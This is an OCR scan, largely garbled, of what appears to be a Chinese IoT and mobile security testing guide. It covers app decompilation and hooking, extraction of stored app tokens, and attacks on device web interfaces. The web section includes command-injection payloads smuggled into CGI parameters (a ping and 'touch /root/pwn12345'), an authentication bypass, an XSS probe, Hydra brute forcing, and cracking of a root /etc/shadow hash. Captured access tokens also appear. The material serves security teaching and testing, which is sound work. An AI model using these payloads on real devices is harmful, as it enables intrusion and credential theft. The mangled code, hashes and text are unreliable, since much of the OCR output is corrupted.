i Package comudaomireuter.accountioging

|Im@ert carm daomirouter R

|Import cam daarmi router cammon api RoutsrEonstants;
|ingiart carn sivarni rouber camenon g e,
|impart carn xizarni router camanon agi ulil agi Dedcepi,

| Impart com elzomi.router common. appllcation o
|Import com.daomi.router.common, uslak;

| public class LeainConstants |
key_veriication_smor_data;

Privata statc B
Privaste static: final
public static fnsl
public static fnal int b= 102,
public static fimal int ¢ = 107,
public statc final int d= 104,
public st final int & = 105;
public statie final intf = 105
| Public static fnal int g - 107;
| public static faal inth - 108
public static fnal int | - 108
public static funal =in g
public slafic fnal
public static fnal
public slafic fnal
public stalic fnal
public st final
public swatic final
public st final
Public static fnal
PUBliC static fnal =

FEINKRFHITE,, EUEIXBAIHES:

-8 uk co sensh, photori er

R

cade®,
direc]_bind®,
direct_tind_ip"
auty_bind”

|&] E=r

WA

limpart carn siaami router common spplication XMRouterApplication

5 hitmi™;
5 il

!password

EUTLEEE:
Mz UAss UEEs MHED

fir oy Uik
L Zex5

=

@ ot

com. alipay. b. a a b b si(Context) . String

¢ com. mobsandgeeks. saripaar. annotation Passvord message() @ 51
& com. mohsandgeeks. saripaar rule PasswordRule PasswordBule(Pas
& com mobhsandzeeks. saripaar rule PasswordRule PasswordRule(Pas
® com wisemi router. sccount. login LoginConstants

B o e S outer Hocgant login LoginConstants

@ com. xlaoml. router. c. h

@ com. xlmoml. router. c. h

weantzr b

[
<

e

Stringl] StrAT = new String[{idatalsystemn/Bagsward. key', “/datals ™
String message() default “Invalid passwaord”,

protected PasswordRule(Password password) {
super(password);

public static final String r="key_bind_passwaord;

public static final String y = “result_hind_password"

public static final int avd_hide_password = 2131230834,

public static final int avd_show_password = 2131230835;

public static final int common password tooale = 2131231247 ¥
>

L | o BRT s MRS L = s

WH

Apk BB TR (.s0), java RJLUET NI SERER, RILUBAX O TE#ITOHM, FI140 DA

cus
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BEERER DT FH

6.1.3 Bohtb o hr

185 A4 Mobile Security Framework (MobSF: —# B sh b 9% sh i/ A 2 7 MR A8 22, BEf8 XT Android/iOS/
Windows mobile W FBIZFHITERS. TIADIT) FHITEEEOHT (https/github.com/MobSF/Mobile-Security-
Framework-MobSF) , Z{TUL 438 MobSF izfTi#es#k:

docker pull opensecurity/mobile-security—framework—
mobsf

docker run —it —p 8000:8000 opensecurity/mobile—
security—framework-mobsf:latest

(RN W a81A 18] AR %5 8309 8000 i ARt EEH NEIRAETNE, BEEHDMHNBER LERRSSSHITOWN
I

File Information [ & | App Information [© ]
IR0 5UBARU STARLINK_v1.1.4_apkpure.com.apk E=ETT0ER) com-subaru.global.infotainment.gen2

B3 26.99M8 I com.subaru.globalinfotainment.gen2 MainActivity
I 12647a80a1¢6b7212629878a7da35d55 PE niin sox BB saa sox |

B3 2catved1dae21d0ada0196a1 115d7451d 79af30 [ Android version name RIBRC

(BT b96708c2b541501 b51482¢010222d852468d761850 49fa7d34183e51018a2dbT I 10104006

7 p

ACTIVITIES RECEIVERS

EXPORTED EXPORTED EXPORTED EXPORTED
ACTMITIES SERVICES RECEIVERS PROVIDERS
0 5 3 1
Code Nature a Options [+ ]
| Hative RINE ® Download Java Code
| oymamic LR @ Download Smali Code
| Refection RO @ View AndroidManifestxml
Crypto WELTTG
m*"'“" O start Dynamic Analysis

MobSF DHTERFARE T WAEFEENRZEEM. LT E MobSF DITERFARIS A java KFIEEEE
FEYmBI Y ERTE -

Files may m LicenseAuth._java WebAppAuth.java CipherUtil.java Const.java MainActivity.java MirroringCommand.java MirroringEngine.java GlobalVariables.java
contain HttpCatalogs.java

hardcoded

sensitive

informations like

usernanmes,

passwords, keys

et
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W2 W

= *

7= NSFOCUS

6.1.4 FAELUE D
NAEFETIEPRRE-EXRER, T NBNEEFEEIRTRESE,
FHERVEIE—RREFEN T

/data/data/<package_name>/
/data/data/<package_name>/databases /data/data/<package_name>/shared_prefs

Bign: AILUEEHITI0 R an<REE com.skybell.app N ARIAE X EHE,

# adb shell

shell@mi:/ $ su

root@mi:/ #

# cd data/data/com. skybell.app/

# 1s -al

drwxrwx--x u@_ad92 ud_a92 2017-06-23 14:59
app_7122720ab47b4f6c8ad99ba611521dd2515d6767 -01b7 -49e5-
8273- c8dllbef331d

drwxrwx--x u@_a92 u@_a92 2017-01-30 18:46 cache
drwxrwx--x u@_a92 u@_a92 2017-01-17 16:41 files
Irwxrwxrwx install install 2017-06-23 14:58 1lib ->
/data/app.com.skybell . app- 1/lib/arm

drwxrwx--x u0

292 u0_a92 2017-01-17 16:41 no_backup

drwxrwx--x u@_a92 u@_a92 2017-01-17 16:41 no_backup
drwxrwx--x u@_a92 u@_a92 2017-06-23 15:31 shared_prefs

<?xml version="1.8" encoding="utf-8' standalone="yes' ?»
cmap>

<string name="FFEk7bzVBTaFLADgnBZONx4eV jHPZFFI01gHONKOLAC=">M55FnyFPsB8sU/Ar02+0e00==:UBp/NjOLlVabd4FUBIH]L1h36RqIMPAF3+kXInC3qqrw=</string>

<string name="1 TRYpWYqRPQPOgHWCUL VeTk7 +1¥AKHAQX ] 178 Jb2 ths=">9 JHKNZArwgI9F JsuXtB+TQ==: fautNH+aTr I0RFfUgDI 1 aToT7rohyxhknFelzWjextQ=w7sTonl SxByFTRO3dal)
Cxst2AT4Vek43y f8ZKnqKFv4Cg3U/ouiB+ FuMyhqtkixRFurgsimy jYbOBHpHPTI7dpneQQpOUV+ JAEDKHMZYLEY + 326 8CwulnKiHf2y2C+E49F sRmLCxuk4jCunEh/+mCq63aK5CINAIZQ==</string:

6.1.5 Android 21181
1. Android Debug Bridge (adb) 1B,
adb.exe XHITF Android\sdk\platform-tools B & o
(1) BB ERLE.
adb devices
(2) &%= appo

adb install xxx.apk
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(3) Bnf shello

adb shell

(4) 13t

adb push src dst

(5) FE M

adb pull src dst

2. IDA ik
(1) 1% Android_server E1&#)23,

adb push android_server /data/local/tmp

(2) BRHRTIUR,

chmod 777 android_server

(3) #&E% android_server BRIAMEITIRE, R 23946,

./android_server -p12345

(4) REROR K,

adb forward tcp:12345 tcp:12345

(5) FERRB IR Ao

adb shell am start -D -n
com.xm.xmsmarthome/com.qihoo.util.startActivity

RS N AAE b TS

Waiting For Debugger

Application XMSmartHome (process
com.xm.xmsmarthome) is waiting for the
debugger to attach.

FORCE CLOSE
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(6) Interactive Disassembler(IDA) BN 4ZE,

Attach 18R ##2, Hi&E debugger option:

O Debugger setup

Events

D Suspend on debugging start

D Ewvaluate event condition on exit
Suspend on process entry point
|z| Suspend on thread start/exit
Suspend on library load/unload

I:l Suspend on debugzing mes=zage

Options

l:l Reconstruct the stack

|:| Show debugger breabpoint instructions
D Use hardware temporary breakpoints
[] Antoload FIB files

l:lSet az just—in—time debugzer

[ Edit exceptions ] [ Reload exceptions ]

Event condition hd

Logging

I:l Segment modifications
Thread startfexit

E! Library load/unload
D Breakpoint

Debugzing mes=zage

o) [omen |

Help

e

(7) 1A Java 1813125 (JDB) it INPREEH IR B B AR EHIE.

jdb -connect
com.sun.jdi.SocketAttach:hostname=127.0.0.1,port=8609

(8) EEFRETLUE IDA BT B ARIER.
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6.1.6 Xposed Hook

Xposed, B— Hook 1EZR, BJUTENMEN APKIRIEMIIE R T, B B ORE NRRREMIZFEITAE
ZRARSS, KRBT IERHNS, Lﬁ*éﬁﬁ /system/bin/app_process 12 FiZfl zygote #i2, {15 app_process £/2
T A2 INE XposedBridge jar X jar 8, MMSEAXT Zygote 2R E AIERY Dalvik BIANLBI &I, BT
Xposed fEZ2 0] LABIE L T 2 ThAERARIIRIR, BIEIIRE N ARMIE R FEIE .

Xposed HEFMIZA T :

AndroidRintime.start() \
TR

EETHE:

1. initNative()

2. initXbridgeZygote()

3. loadModules

4. #if3/Fcom.android.internal.os.Zygotelnit
HImaing&¥ , SehkizygoteIL EAIAH TIE

Se. -

BRFRUAEERIESD: hittps:/blog.csdn.net/zhangmiaoping23/article/details/52572447
F A IEAEZR o] UBIRBY AT R B R BNIETT1T /90
6.1.7 Cydia Substrate Hook

Cydia Substrate @ —MUBENFE. ER LUEERFEHEZNLE, FERA Java k& C/C++ (native
1) R/EM, M Xposed R HOOK app_process AT java EK%8, [Et Cydia Substrate B —r58 A M LA
B HOOK T B,

Substrate #AFR, BAESLIFRIEREEBES TSN, BRI\, substrate hook I A
1. BPFHERERREEIN T, BERIBEENRHBAND;
2. MEBFRREEIN T, PR BFRERE.
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//////////// Dy “

oo

kedyld_stub sflags=>

FEHAY

<fopen+{=:

push {rd, r§, ré, 7, Ir}
add 7, sp, #12

str.w rg, [sp, #4]!
sub sp, #4

Mo 12, sp

mow 18,

maw 1, 1

mow r, r2

bix Ox3al969ac

=8
=T

<fopent+0=:

bx po { AREELIEREERE )
nop  (mov rd, rd)

blx Ox3a4480d8

Idr r1, [r1, #120]

Isls e1, 11, #0

mow r8, 1l

mow ), r1

mow 1, r2

blx Ox3a096%ac
Fdyld_stub___sflags=

HekeE R AEEES

=_mh_sxecute_header+0>

Idr pe, [pe, #4] ; 0x2c004
._mh_execute_header+4>

HITEEMEAR

<miy_flopan+(z:

maww 12, #120 ; 0x78
mavt r2, #0; 0x0

add r2, po

Idr ¢2, [r2, #0]

Idre2, [r2, #0]

bex r2

push {rd, r5, r, 17, Ir}
add 7, sp, #12

str.w r, [sp, #-4]!
sub sp, #4

mow r2, sp

EH &R http:/bbs.pediy.com/thread-185014.htm
BFENEREESEE A XY

http://www.cydiasubstrate.com/id/20cf4700-6379-4a14-9bc2-853fde8cc9d1

bx pc

nop {mov ra, rg)
ble Ox47aa50
adds 6, #161
subs r2, #4

F B IHAEZR[E)A 7] LUBRRBY 0 47 N FBAZ P AU 1T 1T 90

6.2 10S

6.2.1 10S N IR FHE=

FF 10S N 127 H Apple BY FairPlay DRM IN&, R F Z@I % =7 N ABIZFBEIS T EARINZ RIS
BEE I0S NAEFHAE, SNy H#TRENEES.

LRI Xcode sp1T LR, 7 Mac0S KimisfT:

xcode-select

-install

e

‘_I_\/’-\

e
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A7 T A Clutch? SREN S &t

Clutch 2.0

RC4
Eg Change Package Settings >
) Author ttwj & iTOny

[Not public release. For experienced cracker only] [Run:
Clutch?] Clutch 2.0 RC2, Rewritten from the ground up,
Clutch 2.0 is fast, elegant and supports the latest
technologies introduced in i0S 8.0, like Extensions,
Frameworks and WatchKit apps(iOS 8.2 or higher might be
required for some WatchKit apps).

a More Information >
INSTALLED PACKAGE

B Version RC4
D Filesystem Content >

com.iphonecake.clutch2
- Tweaks

A3 Clutch2 7£ 10S 1g& LizfTes @ FIHEAREMNA, FEd -d EIRNA dump H3%:

# Clutch2
1.Installed apps: 1: SUBARU STARLINK

# Clutch2 -d 1 #iEd S

Now dumping com.subaru-global.infotainment.gen2 DEBUG |
ClutchBundle.m: - [ClutchBundle prepareForDump] [Line 30]
| preparing for dump DUMP | armv7 ASLR slide: 0x4f000
Finished dumping binary armv7 with result: 1 DONE:
/private/var/mobile/Documents/Dumped/com.subaruglobal.i
nfotainment.gen2-10S6.1-(Clutch-2.0 RC4).ipa DEBUG |
FimalizeDumpOperation.m: 30-[FinalizeDumpOperation
start] block invoke 2 [Line 60] | ending the thread bye
bye Finished dumping com.subaru-

global.infotainment.gen2 in 35.2 seconds
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= x

o)

e

7="NSF

fRIEEEE LA KRRIZETE hopper disassembler 203 IDA DAHEXPCAR LD :

movW r@, #0x8c9%a ; :lowerl6:(@xc398b4 - @x950cla)

movt re, #0x2e + iupperl6: (@xc398b4 - Bx95@cla)

movw rl, #0x9fca ; :lowerlG:(@xc9abf8 - @x950c2e)

add ré, pc + _kCFHTTPAuthenticationlsername_c398b4

movt rl, #@x34 i supperl6: (@xc9abf8 - @x950c2e)

mov rs, r2

movw r2, #0x6854 ; @selector(objectForKey:), :lowerl6:(@xc97488 - 0x958c2c)
movt r2, #0x34 ; @selector({objectForKey:), :upperl6: (@xc97488 - @x958c2c)
ldr rd, [ra]l + _kCFHTTPAuthenticationUsername_c398b4, kCFHTTPAuthenticationUsername
add r2, pc ; @selector(objectForKey:)

add ri, pc 7 objc_cls_ref_NSURLCredential

ldr rd, [r2] + "objectForKey:",@selector(objectForKey:)

1ldr r2, [r@] + _kCFHTTPAuthenticationUsername

mov e, rs ; argument #1 for method imp___picsymbolstubd4__objc_msgSend
ldr.w rg, [ri] ; objc_cls_ref_NSURLCredential,_OBJC_CLASS_$_NSURLCredential
mowv ri, r4

blx imp___picsymbolstub4_ objc_msgSend

mov ré, r@

move r@, #@xBcsc :lowerl6: (@xc398a8 - @x95@cdc)

'
movt rg, #0x2e + :upperl6:(@xc398a8 - @x950c4c)

mowv ri, rd ; argument #2 for methed imp__ picsymbolstubd4_ ebjc_msgSend
add rd, pc + _kCFHTTPAuthenticationPassword_c398aB

6.2.2 BNt

{88 Mobile Security Framework(MobSF) 2#f ios N BIZFI T

File Information D App Information (o]
m com.subaru.global infotanment gon-i056. 1-(Cluteh-2.0 RCA)ipa m SUBARL STARLINK

B3 .c3me ) com subary- giobal infotainment. genz [[EETIY ivhoneos.2
T3 d1d894d584decadaBad 2b 106462169 | version JER]

[ s | ANKTHOS? 1aTaeTt 1003 | stattacm version ERI

DT 59221 b51bT0a560b0422 1447353 Td5edd 15455 38e eddc 1 adcA58d53027T1

Ly 6.1

Options n

[® Permissions

Permissions
HiAppleMusicUsageDescriplion
NSContactsUsageDescription
HSLocationAlwaysUsageDescription

NSMotionUsageDescription

@ App Transport Security (ATS)

1SSVE STATUS

Hone e

[Description Reason in Manifest
Access Apple Media Library. User the informations at SUBARU STARLINK systern of in-Car-device
Mccess Contacts. Use the informations at SUBARU STARLINK system of in.car-device
Access location information at all times. Use the informations at SUBARU STARLINK systemn of in-car-device

Access the device's acceleromerer. Use the informations at SUBARU STARLINK system of in-car-device

DESCRIPTION

o insecure connections configured. App Transport Security (ATS) is enabled.
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6.2.3 IFHELIE D
T RRAE 108 RARLIETE idb RO 108 FRENSBIER, BETUTHSRE idb:

gem install idb

FTFF idb, EfEios (MMELHMN) 1&&:
@ 2] R idt

Selected Device

Please select a device from the 'Devices' menu or click 'Connect'. Connect to USB/SSH device

RN BEFREFEME, L com.skybell.doorbell 7f:

com.skybell.doorbell =>
com.subaru-global.infotainment.gen2 => SUBARU STARLINK
com.subaru.telematics.app.remote => MySubaru

BE plist X4, FJLLIEE access_tokens 1 refresh_tokens B MRS B

=] ® com.skybell.doorbell.plist
HqH < D com.skybell.doorbell.plist ' No Selection
Key Type Value
¥ Root Dictionary (10 items)
kSKYCurrentEndPointConfigurationKey  String application-configuration-production
timesActivityFeedCellWasAnimated Number 0
decryptionEnabled Number 1
ApplicationQOrientation String Portrait
introspectionEnabled Number 1
¥ SKYUserDefaultsTokenStorageUserDe...  Dictionary (1 item)
¥ auth.myskybell.com Dictionary (4 items)
refresh_token String 00ffc5873b403cbiE667760154418ab78ecl747eed EbBedbifecEed72cBdBaf37356d92d7
token_type String bearer
expires_in Number 3,600
access_token String 7136f5aeafd 2be661d19b42d4852819a5b16de47316b60db01ef2a32473de52ae8d 1de?f
SKYThumbsClearLastDateKey String 2017-07-08T19:23:33.889Z
SKYCurrentPushTokenDefaultsKey String 7TAED3AEIABCE26DAEBBIDABBDDFCEICE02ACAI0660A0AFBBA1CACAT431D26545
TimeAtAppEnterBackground Date Jun 8, 2017, 12:37:22 PM
MintAppRunningState String Background
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BHEEFHUERE Cache.dbs BEHUE !

Import Export Text Clear

Warning: Editing binary content in text mode may result in corrupted data!

‘\?CFUHLStrIng_CFUFILSiringTypa_Nhttps:Hdoud.myskyball.convapiwafsubscrlplIonsisa?ecst}fifbe?
6Be42285dd6c/info#@N___ CFURLRequestNullTokenString__

OO POOOPOSGETE | x-skybell-app-id)Authorization_Accept-Encoding_Accept-
LanguageVAccept_SBEDF7BAF-D466-5B0B-BB4E-115547AB96FB_Bearer
7136fbaeaf42be661d19b42d48528f9abb16ded 7316b60db01ef2a32473dc52ae8d1de7f20b8c4127908
B3e7a178025ef104cb0d93c4c3b97bo7eb56e68455938¢c78%ebi1d1c2eaalfabcad4bdce62923a5d7b2
97¢c3d6a07b62ccb33d295f8ec312ach1bibfi364929704f265¢c56f6bie12cc901a2011a847a7icBid478b3e
4a3]gzip, deflateUen-usS*/*

B7 <\ OO OO OOOOY

.@RYQ909'¢

...............

Type of data currently in cell: Binary

st Carcel KIS
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REVBHEREIRERRM Web LARS, TBEATTIELEEEERIRE.

Bign: B|EFEMNG. FREEMRS (ssh, ftp, telent) « EEEFEEROS. KEBERSSH (BEXBEDH
K) FINEE,

EREFEVENFN, BEREBELBENHNREE; IRFRARKTATY, REaSHR2XM, i A
IR FERRE, SEIERENRNERT, EREBRRRTERD, EERAEE, #MEREENAR, B
EEfhgE.

TEYIET BN EREIRE Web IRSFBIMIHR
1. XSS. CSRF. S8QLij;
2. BRER. XHFLE
3. ABBHIT. @HIT;
4. RERGHIR;
5. EAURLE;
6. BRIGHNAZOS;
TEBEREDZ/LMEERIRER LRI Web 2K IH.
7.1 8<EN
BHERE Web Z2NIHF, S EIANRRELNRE, CREFEEANWKEZ— REEBINARFRIFA
BRI A SN R.

SEZLeNENER—RERTARARKYARBASE (AIEHE) #1TRE (DESETIEFMR
Sod) , WEHEBIMEHRER payload, HMEFMITRALHCHER, REKIAFANRE,

A LR — G BN RAMREEEHSSINRR; XBEEIENR, SEHOINRRNHTS
RREEIEN, BARNMETHEGENNGHSREH RGBT T IE?
7.1.1 SR ENEGI—
TESIAERBEEENAMNHSPITRE, ZEEREFEHSNTEREEEIRNE L.
WTFFR, AT —FMEBENEN, XRIETEEHOINER EARSKHNHSREREASARINIT
HANBI LU B ping %, EENMLIZRBIZIEAERNE ICMP BREIBE,

N4

GET
/set_ftp.cgi?next_url=ftp.htméloginuse=admin&loginpas=adminasvr=192
.168.1.1sport=21gsuser=ftpipwd=5 (ping%20192,168.1.184) sdir=/amode=0&
upload_interval=0 HTTEP/1.1

RAW HITP Response
HTTP/1.1 200 OK

Server: GoAhead-Webs
Content-type: text/html
Cache-Contreol:no-cache
Content=length: 194

Connection: close
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BEREREDNFH

IZ1T tepdump HME T &R ICMP &, S0 E, AILUEE) ping Sn S ELW AT, WEBEFEERSEN]

5 tcpdump host 192.168.1.177 and icmp

15:27:08.400966 IP 192.168.1.177 > 192.168.1.184: ICMP echo
request, id 42832, seq 0, length 64

15:27:08.401013 IP 192.168.1.184 > 192.168.1.177: ICMP echo reply,
id 42832, seq 0, length 64

15:27:09.404737 IP 192.168.1.177 > 192.168.1.184: ICMP echo

712 S SENERIZ

TEERENEEILE Web IRESZFERIIE NS system.download.sd_file BIEFITITIRIIE, EEHHER
Fans, ARARFRBRITIZG S, ERMNGSENRERLE A K.

MIEEER payload (111;touch /root/pwn12345) &

QueryString
Mame Value
system. download.sd_file 111;touch froot/pwn12345
o 1511404789210
token

Response body is encoded. Click to decode.

Transformer Headers Textview Syntax\View ImageView Hex\View WebView Auth Caching Cookies

Raw J50M XML

84b5abbf72cd074ecccdealnaat34dd3
[=- QSESSIONID

ik

83f9db32b33f18d5cc
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BLENITER:

#1s -
drwxr-
drwxr-
- r\‘[. - - - -
drwxr-xr-x

root root

root root 32 i

root root 4 14:44 .ash_history
root root

root root

root root

root root

root root

coot cont

root root

coot coot

Moo= 00w

efWel==T=

-wW=-==I-
~IW-r--r--
-MW-r--r-
- -[--[-
L rW=r==r-

-

et i

BREIRE Web RENMHF, RENHFBE—EXNLRERRE, HEEMBibiK.

WHEFUBIHNBIZRRERENNERT, BERENAREE, BRAADE, RNAGHBERE (5
%) , RMERERE (BBHX) F. BENEEEES Web IRSEOIRHMIVIIERE.

TEEENRSRE L& L NNKERSIRR:
7.2.1 KRR - EPAR P R EIEIIETIEE

FREARTIRITZERRE, KETEIAARIE, SHENEEERFE IEEZE DMK
base64("admin: ERFFF ") BIRI B IDARIIAEFo

Request

POST AR tocolSecurity?lg=2 HTTP/1.1

Host: M.

Content-Length: 71

Cache-Control: max-age=0

Origin: http:// S——

Upgrade-Insecure-Requests: 1

Content-Type: application/x-www-form-urlencoded

User-Agent: Mozilla/5.@ (Windows NT 10.0; Win&4; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/64.08.3282.119 Safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
DNT: 1

Referer: http:// SR G i tyParam. asp?ret=1
Accept-Language: zh-CN,zh;q=08.9

Connection: close

EnableUserVerification=1&ID=YWRtaW46YTEXMTEx&B1 =+++XE7XALXAE+XESHAER A+
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7.2.2 REBOHIE - A BREZERS
P] U RIS TSR telnet BRSS.

Payload:

EREERGAMIAARTIREEERS BOS: 3001) , BTFRSEFEARTENNEIEBEIAEFR
0, SBWEHE LM BERKG AEL L payload F 3001 iH T BIREH telnet RS,

WHRR

Trying 7
telnet: 0 : Connection refused

Trying
Connected to
Escape character 1is '

(none) login:
7.2.3 RENAE - ERIRE

Payload

EREEBEEAIINARTIGEEERS (OIS 3001) , AFRSEFRRITENNVEIRE™ASIAIEAR
¥, SEWEEDURBERBERIXLU L payload ) 30071 WhIZEERIEE. -
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7.2.4 RERIARE - REUKERFER

&« Ccl® 97.83/ WU/System/Users
{
= Response: |
ResponselRL: ystem/Users”,
CreatedID: -1,
StatusCode: 0,
StatusString: “Succeed”,
- Data: {
Tmber: 2
- Users: [
=1
ID: 0,
Hama: “ admin
Passwd:
Level: 0
1,
=
ID: 2.
Hame: ~
Passwd:
Level: 0
i
]
i
)
I

FEDTERFRREEIRE Web RN PRENRRANBEME RN E; TRFERNEEEFE
FREDWS, @ RTSP KRR EIFRERELAETF.
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7.3 XSS

XSS B—HELARZ HR) Web Z2ifTE, —MROAWFMEE XSS, REIEL XSS Ml DOM 2 XSS,

R ABA AT cookie. ERINENGE. RBHFHEF, ARANIRED, URARLARRZHEXNL
2FIR, MAPRANFHELEERENTIE, BARB RGN xss KiH

TEEEURARERE ISR LM R EE XSS R4l
BRI EFEERFENSEEINAR “+alert(1)+” MEARSWREIHIER,

€ | © 192,680 /start_apply Mm7next_page="%zbalert)%2e' @ X G| #  Q sesrch s fr

MREH—FHE XSS KARRNEZHWRLRSNR, FELEGUSHRIREHITH A, EEaHEMK
TR,

N BT ENEATAEEEERPINRGEWSHET R, % XSS HEHGEEE cookie, #
MEAEER cookie FRIgE, KHIEHIRENEM.
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8. IREZRE

8.1 D%E&"ﬁ@ .............................................................................. 84
8.2 :#%U/Fﬁ\;ﬁ .......................................................................... 86

R EN T ABMIZIELER XA R x A EEE
FEHTHBALBRNRESER (MRARZEDO) ,
SSH, Telnet, Ftp ZZERNTIZARS

BRREFRBNTEREFHRGE, —RIREXLE
AGRSEO, XFMAERRETRT —ENREeNML, K
8 B] LUH X R SRS 12 R RATHR &o

BRIRR, REHWNERIRENRESEFHRENRREN
SO WEMIUNOLHITERE, ARXEFTLENRSERIRE
R EL 2 X
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8.1 O RfR

XETIEERIRSHWIES N —RBEETERIE, MKXARTRERBEFER TRHREAHERIRE
BITEDRARIR AL, EEZIEMHRIBRT, REVEIZEN hash( A RERAX BT ) ST N B L
AR

8.1.1 TR LRIk AR
LN S VSR RRIE BB R T 1TH. X s TURRRERIE, KT REWRIEENMERE,

TEE—MEN Hydra WELRMAETE, HINEERBEILRTEEE, HFESRHORSEEBIRS, GiE:
adam6500 asterisk cisco cisco-enable cvs firebird ftp ftps http[s]-{head|get|post} http[s]-{getl{cram|digest}md5][s]

mssql mysgl nntp oracle-listener oracle-sid pcanywhere pcnfs pop3[s] postgr ssh sshkey svn teamspeak telnet[s]
vmauthd vnc xmpp; FEIRZ 2 NMAENREHENE R,

Hydra v8.6 (c) 2617 by van Hauser/THC - Please do not use in military or secret service organiz

Syntax: hydra [[[-1 LOGIN|-L FILE) [-p PASS|-P FILE]] | [-C FILE]] [-e nsr] [-o FILE] [-t TASKS
uvWdd6] [service://server[:PORT][/OPT]]
Options:

-R restore a previous aborted/crashed session

-1 ignore an existing restore file (don't wait 10 seconds)

-5 perform an S5L connect

-5 PORT if the service is on a different default port, define it here

-1 LOGIN or -L FILE 1login with LOGIN name, or load several logins from FILE
-p PASS or -P FILE try password PASS, or load several passwords from FILE
-x% MIM:MAX:CHARSET password bruteforce generation, type "-x -h" to get help

-y disable use of symbols in bruteforce, see above

-2 nsr try "n" null password, "s" login as pass and/or "r" reversed login
-u loop around users, not passwords (effective! implied with -x)

-C FILE colon separated “"login:pass™ format, instead of -L/-FP options

-M FILE list of servers to attack, one entry per line, ':' to specify port

-o FILE write found login/password pairs to FILE instead of stdout

-b FORMAT specify the format for the -o FILE: text(default), json, jsonvl

-f / -F  exit when a loginfpass pair is found (-M: -f per host, -F global)
-t TASKS run TASKS number of connects in parallel per target (default: 16)
=T TASKS run TASKS connects in parallel overall (for -M, default: 64)

-w / -W TIME wait time for a response (32) / between connects per thread (@)
-¢ TIME wait time per login attempt over all threads (enforces -t 1)

-4 / -6 use IPv4 (default) / IPv6 addresses (put always in [] also in -M)
-v / -V / -d wverbose mode / show loginspass for each attempt / debug mode

-0 use old SSL v2 and v3

-q do not print messages about connection errors
-u service module usage details

=h more command line options (COMPLETE HELF)

server the target: DNS, IP or 192.168.0.6/24 (this OR the -M option)
service the service to crack (see below for supported protocols)
0PT some service modules support additional input (-U for module help)

Supported services: adamb500 asterisk cisco cisco-enable cws firebird ftp ftps http([s]-{head|ge
{cram|digest}md5] [s] mssql mysql nntp oracle-listener oracle-sid pcanywhere penfs pop3[s] postg
ssh sshkey swvn teamspeak telnet[s] vmauthd vnc xmpp

SHEARBER G AR S
1. AJLUBE RAIARS R E R IRRECR XA S XL ;
2. MROSHERE;
3. BEGMEMIEOS, f: 123456, password Z;
4. ECEBHAERE;
5. EEEihbEHIE
LUARBEEEMNBR AL ZME XA TLENRS, MR EAEZ 2 M,
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7= NSFOCUS

8.1.2 BAMKAE

BAKMBEEZINSEEENELT, REENENELER, KESNEEHRENEFEN, TEREES
REFIA; BB DENZRIIAFERN, FIUEERNABEERASRS.

IR EZ—RBELREINEEZAS, ERBELEIBSNEENEE, HFEEREAGN~mRItED
Wi iR 2 e R S5 R B0

TEHE—EHRBENNNBELAS (BISCERN 1234567 ) MERLER:

Result;

mds: e10ade3949bas9abbestens Ff20f@ale

mdSimd5{$pass))l: 14e1bs00b11dS79147433b88e8d85201
(5pass))): eSbd0e9arccech7baeal 316550384604
cedbid15059b68d57688884d7addIede

se64): AQrEOUMBWAL+VUBNEg+IPg==

mysal; 565491d704013245

myaqls: shbaHdTeh7a3291058e4508ddardea fed2caady

ntlm: 32ed87bdbSfdcSedchal8s547375818d4

shal: 7eaaBd09cairazafoles9s20943dc26494f8941h

11: 69cSfuebaatsb60eal06c3Mbeld8 1audabBds18
104 70c3bab 1fed] 20 1baacl 4hel Sfach Febed1S

shazsh: Bd9aYeefoecad Ic29alat 292 B0eeH6cf0C3MSd5aB0aMfIca1 2020092 3ade 6092

sha256(md5($pass]): vdida007e2b02a0c49fcobTocfbbial0cE94i635e1765dc2aTabT Sadde Tedac

shaih4: DavR9ebesas hsbabe 2bh 7h 1949954 185084509001 182 904h Fecrbd44h04ba 1 2a099 1 h 7 bade 2f4h 1 4422483 14459454

shaS12:

bad253876aedabe 2 2d4asff5 1d840606ad864195ed 144ab5ci 762 1 bbe 2 13b54Bbasaet s edf 146ecic] 7f5eal 0f 15ee 3ches 14 79 Ved 7ddd 11454646 2a0baba 13
mdSimd5{$pass).$salt);VE;DZ: 14e1b600b11d579f47433b88 eBd85291:

md5{$pass. 354
md5{$sall.$pas
mdS{$salt.5p

: el0adc3940ba59abbe 560571201883 :
: e10adc3949bas9abbeShe0s Ff20fHE 20
14e1b500b11d578/47433085e8d55201:
1t 178 7bd5 1ded080 188asbffeguaf2a054:
2ac SdB bd87d0717c1clbBb 72905 2¢c:
1t 6f1besb900cfSars 7eaf 196 15366352
bdalf82202767140celf407874ce5bd:
spass) i, 16)): Jacf16259defos4s6fcrastabsel0d9s
 Tedadd09caiTe2al51e50520043d0 2645418041 b:
: 7c4aBd0%cal7e2afo 105952094 3dc 2649489491 b:
pass. fuall); 8d96%eefbecadlc?9a3a629280e6864M0c31505a86alTICa120200023ade002:
sha?se{5salt.5pass): Bd9steefbecadIc29alanr a2 B0esBacfc Af sd5Satbaffica 1 2020e92 Jade6 092!
shaS12($pass.ssalt):
bai253876aedabe? 2d4asff5 1d840606ad864195ed 144ab5ci 762 1 bbe 2 13b54Bbacaetssedf 146ecic] 7feal 0f 15ee 3che5 14 79 7ed Fddd 11 454648 2a0bab4a 13
shas12($salt. fpass):
bad253876acdebe 2 2d4a0ff5 1d530606ad8641 95ed 144ab50H 762 1 bbe2 13b54Bbacactasodf 1abecic] 7fSeal Df 15ee3ches 14 79 7ed Fddd 31454648 2a0baba 13

TEZEEMEEMN /etc/shadow IRA

root:$1$dt51WYAP$oqohTsWg/10VG1Xs.N.qe0:16205:0:99999:7

daemon:*:0:0:99999:7:::
ftp:*:0:0:99999:7:::

network:*:0:0:99999:7:::
nobody:*:0:0:99999:7: ::

FEXTE root BFAX—1T, $1% 2 hash 258!, Z4Y hash Y salt 2 dt51IWYAP, SEIFLEEHRIA hashs

HITUL eSS, {E/A hashcat HITFHEAR, WAESIIMNTIDRZTE foundl.txt XA, SR, hashcat 2
XM opencl B9, 5 GPU MNER, GPU MREMILY, WABREMIR, MIIFHS,
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root@kali:~/lab# head -n 1 shadow
root:$15dt51WYAPSoqohTsWg/1oVG1Xs.N.qe®:16205:0:99999:7

root@kali:~/lab # head -n 1 shadow > 1.hash
root@kali:~/lab # cat 1.hash
root: $1$dt51WYAPSoqohTsWg/1oVG1Xs.N.qe:16205:0:99999:7

root@kali:~/lab#curl
https://samsclass.info/123/proj16/500 passwords.txt >
500 passwords.txt

